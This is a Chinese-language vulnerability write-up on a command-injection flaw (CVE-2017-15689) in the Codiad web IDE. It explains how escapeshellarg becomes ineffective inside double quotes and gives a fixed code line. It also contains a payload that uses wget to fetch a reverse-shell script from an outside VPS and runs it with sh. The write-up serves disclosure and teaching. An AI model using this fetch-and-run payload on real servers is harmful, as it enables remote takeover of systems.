[CVE-2017-15689]Codiad 漏洞挖掘筆記 (0x04) [新的遠(yuǎn)程命令執(zhí)行漏洞]


本文首發(fā)地址 :

https://xianzhi.aliyun.com/forum/read/2046.html

先知技術(shù)社區(qū)獨(dú)家發(fā)表本文,如需要轉(zhuǎn)載,請(qǐng)先聯(lián)系先知技術(shù)社區(qū)授權(quán)热幔;未經(jīng)授權(quán)請(qǐng)勿轉(zhuǎn)載。
先知技術(shù)社區(qū)投稿郵箱:Aliyun_xianzhi@service.alibaba.com


簡(jiǎn)介 :

Codiad 是一個(gè)開(kāi)源基于Web的IDE應(yīng)用程序鹰霍,用于在線編寫(xiě)和編輯代碼镜沽。

這個(gè)應(yīng)用程序采用PHP開(kāi)發(fā),并且不需要一個(gè)SQL數(shù)據(jù)庫(kù)桨吊,數(shù)據(jù)是存儲(chǔ)在一個(gè)JSON格式的文件中威根。

它的界面包含三個(gè)面板:

項(xiàng)目/文件管理器具
代碼編輯器
菜單/功能


簡(jiǎn)要分析 :

這個(gè)漏洞的成因不能說(shuō)是開(kāi)發(fā)者的疏忽了
應(yīng)該說(shuō)是開(kāi)發(fā)者太過(guò)于信任 php 的 escapshellarg 這個(gè)函數(shù)
后來(lái)想了一下 , 我覺(jué)得可能很多開(kāi)發(fā)者都沒(méi)有意識(shí)到這個(gè)函數(shù)的正確使用方式
很有可能別的 php 項(xiàng)目中也存在相同的漏洞
具體信息如下文 :


漏洞點(diǎn)以及利用方式 :

components/filemanager/class.filemanager.php

image.png

具體在這句話 :

$output = shell_exec('find -L ' . $this->path . ' -iregex  ".*' . $this->search_file_type  . '" -type f | xargs grep -i -I -n -R -H "' . $input . '"');

變量 $this->search_file_type
這個(gè)變量在使用之前是經(jīng)過(guò) escapeshellarg 函數(shù)處理過(guò)的
可能很多人會(huì)問(wèn)了 , 既然都已經(jīng)經(jīng)過(guò) php 的官方函數(shù)處理過(guò)了
還會(huì)存在漏洞嗎 ?
很不幸 , 由于開(kāi)發(fā)者沒(méi)有正確使用這個(gè)函數(shù) , 漏洞是存在的

經(jīng)過(guò) escapeshellarg 函數(shù)處理過(guò)的參數(shù)被拼湊成 shell 命令 并且被雙引號(hào)包裹
這樣就會(huì)造成漏洞

而且漏洞的危害就是遠(yuǎn)程命令執(zhí)行

接下來(lái)我們來(lái)測(cè)試一下漏洞是否可用
首先搭建環(huán)境

image.png

使用 ping 命令來(lái)測(cè)試一下

image.png

可以發(fā)現(xiàn)接收到了 icmp 數(shù)據(jù)包裹
說(shuō)明命令確實(shí)是被執(zhí)行了的
那么我們來(lái)測(cè)試一下是否可以成功反彈一個(gè) shell 呢
由于 escapeshellarg 函數(shù)會(huì)在被過(guò)濾的參數(shù)兩邊添加單引號(hào) , 并且會(huì)對(duì)參數(shù)中的所有單引號(hào)進(jìn)行轉(zhuǎn)義
那么我們需要找一些不需要單引號(hào)和雙引號(hào)的命令來(lái)實(shí)現(xiàn)反彈 shell 的操作
筆者想到的一個(gè)方法是利用 wget 下載反彈 shell 的腳本 , 然后通過(guò) sh 去執(zhí)行這個(gè)腳本即可
wget 通過(guò) -P 參數(shù)可以指定保存路徑
我們可以在公網(wǎng) vps 上監(jiān)聽(tīng) 80 端口 , 將反彈 shell 的命令寫(xiě)入到 index.html
然后通過(guò) wget 將其下載到目標(biāo)服務(wù)器的一個(gè)可寫(xiě)目錄下 (/tmp) , 然后再用 sh 執(zhí)行這個(gè)腳本
payload 如下 :
wget 8.8.8.8 -p /tmp
sh /tmp/index.html

image.png
image.png
image.png

成因分析 :

bash 在解析單引號(hào)和雙引號(hào)的時(shí)候是有區(qū)別的
在解析單引號(hào)的時(shí)候 , 被單引號(hào)包裹的內(nèi)容中如果有變量 , 這個(gè)變量名是不會(huì)被解析成值的
但是雙引號(hào)不同 , bash 會(huì)將變量名解析成變量的值再使用

如下圖 :

1503921486631.png

我們都知道反引號(hào)是可以執(zhí)行命令的 , 那么如果反引號(hào)位于單引號(hào)和雙引號(hào)內(nèi)部 , 會(huì)有什么區(qū)別嗎 ?

1503921599097.png

可以看到在雙引號(hào)中的反引號(hào)內(nèi)容會(huì)被當(dāng)做命令執(zhí)行

那么這個(gè)漏洞的成因即為 : 雖然使用了 escapeshellarg 函數(shù) , 但是經(jīng)過(guò)這個(gè)函數(shù)過(guò)濾的參數(shù)又在外部被雙引號(hào)包裹起來(lái) , 因此 , 就導(dǎo)致了命令執(zhí)行漏洞

參考 php.net 中的官方文檔 :

1503921777352.png

這個(gè)函數(shù)會(huì)給參數(shù)左右添加單引號(hào) , 因此正確的做法是這樣 :

$output = shell_exec('find -L ' . $this->path . ' -iregex  '.escapeshellarg('.*'.$this->search_file_type).' -type f | xargs grep -i -I -n -R -H '.escapeshellarg($input));

參考資料 :

http://www.grymoire.com/Unix/Quote.html
http://wiki.bash-hackers.org/syntax/quoting


總結(jié) :

總結(jié)一下 , 經(jīng)過(guò) php 的 escapeshellarg 的 shell 命令的參數(shù)
如果會(huì)被雙引號(hào)包裹 , 那么個(gè)這個(gè)函數(shù)事實(shí)上形同虛設(shè)
所以千萬(wàn)不能在使用這個(gè)函數(shù)的時(shí)候再自作主張?jiān)趦蓚?cè)添加雙引號(hào)

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末视乐,一起剝皮案震驚了整個(gè)濱河市洛搀,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌佑淀,老刑警劉巖留美,帶你破解...
    沈念sama閱讀 216,372評(píng)論 6 498
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場(chǎng)離奇詭異伸刃,居然都是意外死亡谎砾,警方通過(guò)查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,368評(píng)論 3 392
  • 文/潘曉璐 我一進(jìn)店門(mén)奕枝,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)棺榔,“玉大人瓶堕,你說(shuō)我怎么就攤上這事隘道。” “怎么了郎笆?”我有些...
    開(kāi)封第一講書(shū)人閱讀 162,415評(píng)論 0 353
  • 文/不壞的土叔 我叫張陵谭梗,是天一觀的道長(zhǎng)。 經(jīng)常有香客問(wèn)我宛蚓,道長(zhǎng)激捏,這世上最難降的妖魔是什么? 我笑而不...
    開(kāi)封第一講書(shū)人閱讀 58,157評(píng)論 1 292
  • 正文 為了忘掉前任凄吏,我火速辦了婚禮远舅,結(jié)果婚禮上闰蛔,老公的妹妹穿的比我還像新娘。我一直安慰自己图柏,他們只是感情好序六,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,171評(píng)論 6 388
  • 文/花漫 我一把揭開(kāi)白布。 她就那樣靜靜地躺著蚤吹,像睡著了一般例诀。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上裁着,一...
    開(kāi)封第一講書(shū)人閱讀 51,125評(píng)論 1 297
  • 那天繁涂,我揣著相機(jī)與錄音,去河邊找鬼二驰。 笑死扔罪,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的桶雀。 我是一名探鬼主播步势,決...
    沈念sama閱讀 40,028評(píng)論 3 417
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼背犯!你這毒婦竟也來(lái)了坏瘩?” 一聲冷哼從身側(cè)響起,我...
    開(kāi)封第一講書(shū)人閱讀 38,887評(píng)論 0 274
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤漠魏,失蹤者是張志新(化名)和其女友劉穎倔矾,沒(méi)想到半個(gè)月后,有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體柱锹,經(jīng)...
    沈念sama閱讀 45,310評(píng)論 1 310
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡哪自,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,533評(píng)論 2 332
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了禁熏。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片壤巷。...
    茶點(diǎn)故事閱讀 39,690評(píng)論 1 348
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡,死狀恐怖瞧毙,靈堂內(nèi)的尸體忽然破棺而出胧华,到底是詐尸還是另有隱情,我是刑警寧澤宙彪,帶...
    沈念sama閱讀 35,411評(píng)論 5 343
  • 正文 年R本政府宣布矩动,位于F島的核電站,受9級(jí)特大地震影響释漆,放射性物質(zhì)發(fā)生泄漏悲没。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,004評(píng)論 3 325
  • 文/蒙蒙 一男图、第九天 我趴在偏房一處隱蔽的房頂上張望示姿。 院中可真熱鬧甜橱,春花似錦、人聲如沸栈戳。這莊子的主人今日做“春日...
    開(kāi)封第一講書(shū)人閱讀 31,659評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)荧琼。三九已至譬胎,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間命锄,已是汗流浹背堰乔。 一陣腳步聲響...
    開(kāi)封第一講書(shū)人閱讀 32,812評(píng)論 1 268
  • 我被黑心中介騙來(lái)泰國(guó)打工, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留脐恩,地道東北人镐侯。 一個(gè)月前我還...
    沈念sama閱讀 47,693評(píng)論 2 368
  • 正文 我出身青樓,卻偏偏與公主長(zhǎng)得像驶冒,于是被迫代替她去往敵國(guó)和親苟翻。 傳聞我的和親對(duì)象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,577評(píng)論 2 353

推薦閱讀更多精彩內(nèi)容

  • linux資料總章2.1 1.0寫(xiě)的不好抱歉 但是2.0已經(jīng)改了很多 但是錯(cuò)誤還是無(wú)法避免 以后資料會(huì)慢慢更新 大...
    數(shù)據(jù)革命閱讀 12,158評(píng)論 2 33
  • 個(gè)人學(xué)習(xí)批處理的初衷來(lái)源于實(shí)際工作骗污;在某個(gè)迭代版本有個(gè)BS(安卓手游模擬器)大需求崇猫,從而在測(cè)試過(guò)程中就重復(fù)涉及到...
    Luckykailiu閱讀 4,717評(píng)論 0 11
  • 常聽(tīng)到這句話單身久了是一種病,我都在想我自己需忿,是不是自己也得了這種病诅炉。首先自己具備這種病的條件,那就是單身屋厘。...
    九思往閱讀 545評(píng)論 0 2
  • Given an array of n positive integers and a positive inte...
    風(fēng)起云涌Hal閱讀 337評(píng)論 0 0
  • 睡覺(jué)的鼻子一滴一滴的感覺(jué)有不明物體留下涕烧,半夜起來(lái)找紙很煩哎,影響睡眠汗洒!天干物燥议纯!莫名其妙!
    熊與花閱讀 340評(píng)論 0 0